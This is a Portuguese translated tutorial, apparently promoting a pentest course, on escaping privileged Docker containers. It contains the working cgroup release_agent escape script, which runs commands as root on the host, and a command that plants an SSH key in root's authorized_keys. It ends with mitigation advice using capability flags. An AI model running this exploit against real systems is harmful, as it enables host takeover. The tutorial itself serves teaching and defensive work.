Fuja de contêineres Docker privilegiados

A tradução do artigo foi preparada na véspera do início do curso “Pentest. Prática de teste de penetração " .

---

Os contêineres privilegiados do Docker são contêineres executados com um sinalizador --privileged. Ao contrário dos contêineres regulares, esses contêineres têm acesso root à máquina host.



Os contêineres privilegiados costumam ser usados ​​quando as tarefas exigem acesso direto ao hardware para realizar as tarefas. No entanto, os contêineres Docker privilegiados podem permitir que invasores assumam o sistema host. Hoje veremos como você pode sair de um contêiner privilegiado.

Procure por contêineres vulneráveis

Como podemos determinar que estamos em um contêiner privilegiado?

Como você sabe que está em um contêiner?

Cgroupssignifica grupos de controle. Esse recurso do Linux isola o uso de recursos e é o que o Docker usa para isolar contêineres. Você pode dizer se está em um container verificando o cgroup do processo init em /proc/1/cgroup. Se você não estiver dentro do contêiner, o grupo de controle será /. Novamente, se você estiver em um contêiner, verá em seu lugar /docker/CONTAINER_ID.

Como você sabe se um contêiner é privilegiado?

Depois de determinar que está em um contêiner, você precisa saber se ele é privilegiado. A melhor maneira de fazer isso é executar o comando que precisa do sinalizador --privilegede ver se funciona.



Por exemplo, você pode tentar adicionar uma dummyinterface usando o comando iproute2. Este comando requer acesso ao NET_ADMINqual o contêiner tem, se privilegiado.

$ ip link add dummy0 type dummy

Se o comando for bem-sucedido, podemos concluir que o contêiner tem funcionalidade NET_ADMIN. E, NET_ADMINpor sua vez, faz parte de um conjunto privilegiado de funções e os containers que não o possuem não são privilegiados. Você pode remover o link dummy0após este teste com o comando:

ip link delete dummy0

Escape do container

Então, como você sai do contêiner privilegiado? O script a seguir irá ajudá-lo aqui. Este exemplo e prova de conceito foram retirados do blog Trail of Bits . Para mergulhar mais fundo no conceito, leia o artigo original:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Esta prova de conceito usa uma função release_agentde cgroup.



Após o término do último processo em cgroup, é executado um comando que remove o trabalho encerrado cgroups. Este comando é especificado no arquivo release_agente executado como rootno computador host. Por padrão, o recurso está desabilitado e o caminho release_agentestá vazio.



Este exploit executa código por meio de um arquivo release_agent. Precisamos criar cgroup, especificar seu arquivo release_agente iniciar release_agent, matando todos os processos em cgroup. A primeira linha no teste de hipótese cria um novo grupo:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

O seguinte inclui a função release_agent:

echo 1 > /tmp/cgrp/x/notify_on_release

Mais adiante, nas próximas linhas, o caminho para o arquivo é registrado release_agent:

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

Então você pode começar a escrever no arquivo de comando. Este script irá executar o comando ps auxe salvá-lo em um arquivo /output. Você também precisa definir os bits de acesso para o script:

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

Finalmente, inicie o ataque gerando um processo que terminará imediatamente no cgroup que criamos. Nosso script release_agentserá executado após a conclusão do processo. Agora você pode ler a saída ps auxna máquina host em um arquivo /output:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Você pode usar esse conceito para executar quaisquer comandos que desejar no sistema host. Por exemplo, você pode usá-lo para gravar sua chave SSH no arquivo do authorized_keysusuário raiz:

cat id_dsa.pub >> /root/.ssh/authorized_keys

Prevenir um ataque

Como esse ataque pode ser evitado? Em vez de conceder aos containers acesso total ao sistema host, você só deve conceder as permissões de que eles precisam.



Os recursos do Docker permitem que os desenvolvedores concedam permissões seletivamente a um contêiner. Torna-se possível dividir as permissões, geralmente compactadas na raiz access, em componentes separados.



Por padrão, o Docker obtém todas as permissões do contêiner e exige que sejam adicionadas. Você pode remover ou adicionar permissões usando os sinalizadores cap-drope cap-add.

--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES

Por exemplo, em vez de fornecer o contêiner root access, você o deixa NET_BIND_SERVICEse ele precisar se conectar a uma porta abaixo de 1024. Este sinalizador dará ao contêiner as permissões necessárias:

--cap-add NET_BIND_SERVICE

Conclusão

Evite executar contêineres Docker com um sinalizador sempre que possível --privileged. Os contêineres privilegiados podem dar aos invasores a capacidade de sair do contêiner e obter acesso ao sistema host. Em vez disso, conceda aos recipientes permissão individualmente usando um sinalizador --cap-add.

Consulte Mais informação

• Recursos do kernel do Linux
• Usando o Docker com segurança
• Práticas recomendadas de segurança para trabalhar com contêineres privilegiados
• Táticas da Equipe Vermelha: Técnicas Avançadas de Monitoramento em Operações Ofensivas
• Pentest. Prática de teste de penetração ou "hacking ético". Novo curso da OTUS

---

Saiba mais sobre o curso.

---